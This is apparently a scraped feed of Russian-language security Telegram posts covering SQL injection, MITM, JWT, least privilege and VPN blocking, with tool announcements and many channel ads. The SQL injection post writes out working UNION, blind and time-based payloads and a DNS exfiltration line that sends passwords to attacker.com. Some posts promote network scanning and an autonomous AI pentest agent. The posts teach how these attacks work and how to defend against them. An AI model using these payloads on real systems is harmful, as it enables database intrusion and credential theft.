CodeGuard: CyberSec Edition

🛡 Как ТСПУ ловит VLESS в 2026 и почему XHTTP — следующий шаг Статья разбирает методы детекции, которые работают прямо сейчас. Если ваш VLESS+Reality сервер лёг в последние месяцы — вы не один. В сообществах фиксируют волны блокировок, которые раньше не достигали хорошо настроенных Reality-серверов. Как ТСПУ видят VLESS:

JA3/JA4-отпечатки — TLS-рукопожатие имеет уникальные характеристики, которые можно детектировать

Поведенческий анализ — даже при шифровании, паттерны трафика (размер пакетов, тайминги) могут выдать прокси

Сертификаты — даже если они "поддельные", методы анализа становятся умнее

XHTTP — что это:

Новая транспортная обёртка, маскирующая прокси-трафик под обычный HTTP/3

Использует QUIC, который сложнее анализировать

Разработан для противодействия именно поведенческому анализу

➡️ Полная статья 😈 CodeGuard: PySec Edition | Чат

Если ты любишь пр0бив, OSINT-разведку и чекать вебки, то тебе в этот канал по гитхабу👇🏻 https://t.me/+qwZdeiSYXzRiNzdi

💡 SQL-инъекция: От UNION до кражи данных через DNS Все знают ' OR '1'='1, но SQLi — это целый спектр техник. Разберём эволюцию от классики до скрытых атак. 🔍 1. UNION-based — когда результат виден Работает, если данные из запроса выводятся на страницу (список пользователей, посты). Позволяет "дописать" свой запрос к оригинальному и увидеть результат.

' UNION SELECT username, password FROM users-- 

Суть: Крадём данные напрямую из интерфейса. 🎭 2. Blind (Слепая) — когда результат не виден Приложение не показывает данные, но его поведение меняется. Атакующий задаёт вопросы "да/нет":

' AND (SELECT SUBSTRING(password,1,1) FROM users)='a'-- 

Если условие верно — страница загружается нормально, если нет — с ошибкой или пустая. Так посимвольно угадываем пароли. ⏱️ 3. Time-based — слепая, но с таймером Разновидность слепой, где ответ — это задержка.

' AND IF((SELECT password) LIKE 'a%', SLEEP(5), 0)-- 

Если первый символ пароля — a, сервер "заснёт" на 5 секунд. Долгий ответ = угадали. 🌐 4. Out-of-band (DNS-экфильтрация) — хитрый обход Когда ничто не помогает, заставляем саму базу данных отправить нам данные. Через DNS-запрос.

sql
' UNION SELECT LOAD_FILE('\\\\'(SELECT password)'.attacker.com\\test')-- 

Как работает:

СУБД пытается прочитать "файл" по пути \\<украденный_пароль>.attacker.com\test.

Для этого она делает DNS-запрос к домену attacker.com.

В логах DNS-сервера злоумышленник видит полный запрос: <украденный_пароль>.attacker.com.

Данные украдены.

💎 Итог:

UNION — если виден вывод.

Blind — если есть косвенная реакция.

DNS-атака — когда другие методы бессильны, но можно выполнить произвольный запрос.

Защита — не только фильтрация кавычек, а параметризованные запросы, минимальные права БД и мониторинг DNS.

😈 CodeGuard: PySec Edition | Чат

☁️ Moltworker: запустите Moltbot в облаке Cloudflare без лишнего железа Если у вас нет мощного ПК для локального запуска ИИ-ассистента, теперь есть решение. Moltworker разворачивает Moltbot прямо в облаке Cloudflare — всегда доступен, стабилен, не требует от вас никаких серверов. Что это даёт:

Работает 24/7 без вашего вмешательства

Не нужно покупать железо

Использует инфраструктуру Cloudflare Workers

🔗 GitHub: Moltworker 😈 CodeGuard: PySec Edition | Чат

🌑 Robin: ИИ-инструмент для поиска в даркнете Вместо ручного поиска по .onion-сайтам Robin сам формулирует запросы и собирает данные из открытых источников даркнета. Что умеет:

Автоматический поиск по даркнет-ресурсам

Генерация запросов через ИИ

Работа через командную строку

Лёгкая настройка

🔗 GitHub: Robin 😈 CodeGuard: PySec Edition | Чат

Ваш пароль почти наверняка уже утёк. Вопрос только в том, подходит ли он к остальным вашим аккаунтам. Базы с почтами и паролями утекают каждую неделю. Дальше работает робот: берёт вашу пару «почта + пароль» и пробует её везде — от маркетплейсов до Госуслуг. СУРОК Safe — российский менеджер паролей: генерирует надёжные пароли, хранит их зашифрованными. Работает в браузере, на телефоне и на компьютере. Серверы в России, оплата нашей картой. Помнить нужно один пароль. Остальные пусть помнит сурок 👉 https://tglink.io/afdba1222b8847?erid=2W5zFHZ9eaMtelegain

🔐 MITM: «человек посередине» Классика кибератак, которая не стареет. 🎯Суть

Злоумышленник встраивается между вами и сервером. Вы думаете, что общаетесь с сайтом, а на самом деле — с хакером. Он читает, меняет и передаёт данные дальше. Незаметно.

Как ловят чаще всего? ⚠️ Человек-в-браузере (Man-in-the-Browser)

Особо опасная модификация. Вредонос сидит прямо в вашем браузере и перехватывает данные после того, как вы прошли шифрование. HTTPS бессилен, сертификаты в порядке, а хакер уже смотрит, что вы вводите в формы.

🛡 Защита

Не игнорировать ошибки сертификатов.

VPN в открытых сетях.

HTTPS Everywhere и внимательность к адресной строке.

Обновления — патчи закрывают дыры, через которые ставят снифферы.

💎 Итог: MITM — атака на доверие. Вам кажется, что вы говорите с банком. А вы говорите с тем, кто прикинулся банком. 😈 CodeGuard: PySec Edition | Чат

👩‍💻 Всем программистам посвящается! Вот 14 авторских обучающих IT каналов по самым востребованным областям программирования: Выбирай своё направление: 👩‍💻 Python — t.me/python_ready 🤔 InfoSec & Хакинг — t.me/hacking_ready 🖥 SQL & Базы Данных — t.me/sql_ready 👩‍💻 IT Новости — t.me/it_ready 🤖 AI & ML — t.me/neuro_ready 👩‍💻 Frontend — t.me/frontend_ready 👩‍💻 C/C++ — https://t.me/cpp_ready 👩‍💻 C# & Unity — t.me/csharp_ready 👩‍💻 Linux — t.me/linux_ready 👩‍💻 Java — t.me/java_ready 📖 IT Книги — t.me/books_ready 📱 JavaScript — t.me/javascript_ready 🖼️ DevOps — t.me/devops_ready 🖥 Design — t.me/design_ready 📌 Гайды, шпаргалки, задачи, ресурсы и фишки для каждого языка программирования!

🤖 PentAGI: мультиагентная система для автоматического пентеста Инструмент, который использует агентов на базе GPT, Claude или DeepSeek для проведения пентеста. Агенты работают с инструментами из Kali Linux (20+ утилит), сами принимают решения и выполняют задачи. Что умеет:

Мультиагентная архитектура — разные агенты занимаются разведкой, сканированием, эксплуатацией

Использует инструменты Kali (Nmap, Metasploit, Hydra и другие) из докер-образа

Управляющие модели: GPT, Claude, DeepSeek (на выбор)

Красивый GUI + мониторинг через Grafana/Prometheus

Можно наблюдать за действиями агентов в реальном времени

🔗 GitHub: PentAGI

Она попросила показать мой Python. Я показал один скрипт — теперь спрашивает, где я этому научился. Скидываю тот самый канал 👇 https://t.me/+4JMC2nmtaXBjMjli

🔐Основы безопасности: что такое принцип наименьших привилегий (PoLP) Один из фундаментальных принципов ИБ, который звучит просто: каждый пользователь или программа должны иметь ровно столько прав, сколько нужно для работы — и ни граммом больше. 🎯 Как это работает в реальности?

Пользователи: Менеджеру не нужен доступ к серверным логам. Бухгалтеру — к репозиторию с кодом. Если учётка менеджера будет скомпрометирована, злоумышленник не получит доступ к критической инфраструктуре.

Приложения: Веб-серверу не нужны права root. Он должен запускаться от отдельного пользователя с доступом только к своим директориям. Если взломают сайт — хотя бы систему не положат.

Сервисы и демоны: Каждый сервис должен работать под своей учётной записью, а не под общей. Тогда компрометация одного не приведёт к падению всего.

🛡Где это нарушают чаще всего?

Запуск всего под root — «чтобы работало быстрее».

Выдача прав всем на всё — «чтобы не дёргать по мелочам».

Одна учётка для всей команды — «root — он общий».

🛠 Как внедрить? ➡️Аудит: Проверить, у кого какие права. Удивиться. ➡️Разделение: Создать отдельных пользователей под каждую задачу. ➡️Минимизация: Выдавать права только на чтение там, где не нужно писать. ➡️Регулярная проверка: Права имеют свойство накапливаться. 💎 Итог: PoLP — это не про недоверие к людям. Это про минимизацию ущерба, если учётку украдут. Чем меньше прав у скомпрометированного аккаунта — тем меньше боли у компании. 😈 CodeGuard: PySec Edition | Чат

😈 CodeGuard: PySec Edition | Чат

АЙТИШНИКИ, ХВАТИТ сливать время на прилизанные новости и бесполезные курсы Проект «ИИнтеллигенция» стал главным каналом для тех, кто использует нейросети на уровне разработки, автоматизации и опенсорса, а не просто балуется в чатах. Здесь собирают только то, что реально экономит человеко-часы и работает в проде. 🎓 Готовые ИИ-сервисы, промпты и ИИ-агенты для автоматизации рутины 🖋 Разборы полезных ИИ-инструментов, локальных LLM и опенсорс-репозиториев 🛠 Практические кейсы, гайды по деплою моделей и интеграции ИИ в пайплайны ⚡️ Технические ИТ-новости без маркетинговой воды и душных отчетов Обучение и прокачка в реальном времени: работа с API (Claude, GPT), локалки (Ollama, vLLM), автоматизация кода, опенсорс-утилиты, AI-агенты и др. Ценишь время и работаешь с ИИ, подпишись: @clucai

🔑 JWT: Цифровой паспорт в мире Web, который можно подделать Когда вы входите в приложение, вам часто выдают не обычную куку, а JSON Web Token (JWT) — компактный и самодостаточный токен, который содержит всю информацию о сессии прямо внутри себя. 🤔 Зачем нужен JWT и как он устроен? JWT создан для статусlessness — серверу не нужно хранить сессию в памяти. Он просто проверяет подпись токена и верит данным внутри. Токен состоит из трёх частей, разделённых точками: Header.Payload.Signature

Header (Заголовок): Обычно {"alg": "HS256", "typ": "JWT"}. Указывает алгоритм подписи (HS256, RS256, none) и тип.

Payload (Полезная нагрузка): JSON-объект с утверждениями (claims). Например: {"sub": "user123", "name": "Vasya", "admin": false, "iat": 1516239022}.

Signature (Подпись): Криптографическая подпись, которая гарантирует, что токен не был изменён. Создаётся путём хеширования base64UrlEncode(header) + "." + base64UrlEncode(payload) с использованием секретного ключа (для HS256) или приватного ключа (для RS256).

Пример токена: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c 🛡Как защититься? Основные правила

Никогда не доверяйте alg из токена. Жёстко задавайте алгоритм проверки на сервере.

Всегда проверяйте подпись перед чтением payload.

Используйте сложные, случайные секретные ключи для HS256.

Проверяйте все claims в payload: iss (issuer), aud (audience), exp (expiration time). Не используйте none в продакшене.

Храните приватные ключи в безопасности, публичные ключи — в доверенных источниках.

Валидируйте параметр kid, запрещая пути и URL.

💎 Итог: JWT — мощный и удобный стандарт, но его «самодостаточность» — палка о двух концах. Одна ошибка в реализации 😈 CodeGuard: PySec Edition | Чат

Если ты ИБшник, то тебе сюда👇🏻 https://t.me/+2_kv7BwgTJhjNmUy

🛡 ИБ — это не только капюшоны: как найти своё место в безопасности и не выгореть В статье разбирают главный миф об информационной безопасности: что выбор ограничен двумя путями — «ломщик» или «бумажный аудитор». На самом деле ИБ — это целая индустрия с десятками специализаций под разный темперамент. Кто есть в ИБ (кроме хакеров и аудиторов):

Строители систем — архитекторы безопасности, DevSecOps

Аналитики — SOC-аналитики, threat hunters

Коммуникаторы — GRC-специалисты, комплаенс-менеджеры

Исследователи — реверс-инженеры, эксперты по уязвимостям

Инженеры — разработчики средств защиты, автоматизаторы

Как не выгореть:

Выбирать роль под свой склад ума, а не под романтику

Понимать, что пентест — это не только крутые консоли, но и отчёты

ИБ — это марафон, а не спринт: важно не сломаться через полгода

Статья — обязательна к прочтению для всех, кто хочет в ИБ, но боится ошибиться с направлением. 🔗 Читать 😈 CodeGuard: PySec Edition | Чат

Настроил чат-бота за пару часов → заработал 9 000₽. Просто представь, кто-то стоит в очереди на маршрутку в 8 утра чтобы успеть на “любимую” работу. А кто-то за 3-4 часа делает чат-бота со своего ноута без привязки ко времени. Разница в зарплате: 200 тысяч. И нет — не надо ничего программировать. Зачем грузить мозги кодом, если можно собрать чат-бота для бизнеса на конструкторе. Без опыта. За 3-4 часа. 💡 Суть проста: Берёшь клиента → Собираешь бота по шаблону → Наставник всё проверяет → Сдаёшь работу и получаешь деньги. В первый месяц обычно выходят на доход 50–80 тыс ₽/мес, а с опытом от 180 тыс ₽ и выше. Легко совмещается с работой, учёбой, рыбалкой, семейными хлопотами… график устанавливаешь самостоятельно. Всё, что нужно для старта — запустить бота 👉 @other_digital_bot Там пошаговый план как стартануть и гайд по клиентам. До 10 августа вход бесплатный.

🌍 GeoIntel: ИИ-инструмент, который определяет, где сделано фото Проект GeoIntel использует API Gemini от Google для анализа геолокации по снимкам. Загружаете фото — нейросеть помогает понять, где оно было сделано, на основе визуальных данных и метаинформации. Что умеет:

Анализировать фото через Gemini API

Определять вероятное местоположение по визуальным признакам

Помогать в OSINT-расследованиях и геопоиске

Как работает: Загружаете изображение → ИИ анализирует архитектуру, природу, детали → выдаёт предположение о регионе или точке съёмки. 🔗 GitHub: GeoIntel 😈 CodeGuard: PySec Edition | Чат

Издательский дом «Новые отраслевые медиа» собрал для вас лучшие каналы из сферы искусственного интеллекта и интернет-технологий, которые помогают своим подписчикам быть в курсе всех важных профессиональных новостей. Здесь - всё про ключевых игроков отрасли, государственное регулирование, инсайды и кейсы от отраслевых лидеров. ✅Серверная - канал об индустрии дата-центров: технологиях, инфраструктуре, облачных решениях, энергоэффективности и применении ЦОД в ключевых отраслях экономики. ✅Робосфера - канал об индустрии робототехники: технологии и тренды. Промышленные и сервисные роботы, коботы, автоматизация, ИИ, машинное зрение, автономные системы. ✅AI для бизнеса - всё об AI-решениях для бизнеса: внедрение, автоматизация, корпоративный ИИ, агенты. ✅ТехноРитейл - канал о производстве и продаже бытовой техники и электроники в России: бренды, e-com, маркетинг, retail tech. Подписывайтесь, и эти каналы смогут изменить вашу жизнь к лучшему! Реклама. Харламов А.Е. ИНН 712803816807. erid: 2W5zFJj6y5s

🖥 MSFinger: быстрый сканер Windows-хостов в сети Инструмент для разведки в Active Directory. Сканирует подсети и собирает информацию о Windows-машинах: от версии ОС до настроек безопасности протоколов. Что умеет:

Определяет версии Windows — 7, 8, 10, 11, Server (по TCP-стеку и SMB-пакетам)

Проверяет подписи SMB, LDAP, LDAPS — критично для пентеста (отсутствие подписи = relay-атаки)

Ищет MSSQL и RDP — службы, которые часто торчат наружу

Обнаруживает SMBv1 — протокол-динозавр, который пора отключать

Работает с одиночными IP и целыми подсетями

⚙️ Запуск:

# Сканирование одной машины
python msfinger.py -t 192.168.1.100

# Сканирование подсети /24
python msfinger.py -t 192.168.1.0/24

# Сохранение результатов в файл
python msfinger.py -t 192.168.1.0/24 -o report.txt

🛡 Кому и зачем:

Пентестерам — быстрая разведка перед атакой, поиск целей

Red team — сбор информации о хостах в домене

Админам — аудит своей сети на предмет устаревших протоколов

➡️ Ссылка 💎 Итог: MSFinger — лёгкий, быстрый, информативный. За минуту даёт полную картину по Windows-хостам в сети. 😈 CodeGuard: PySec Edition | Чат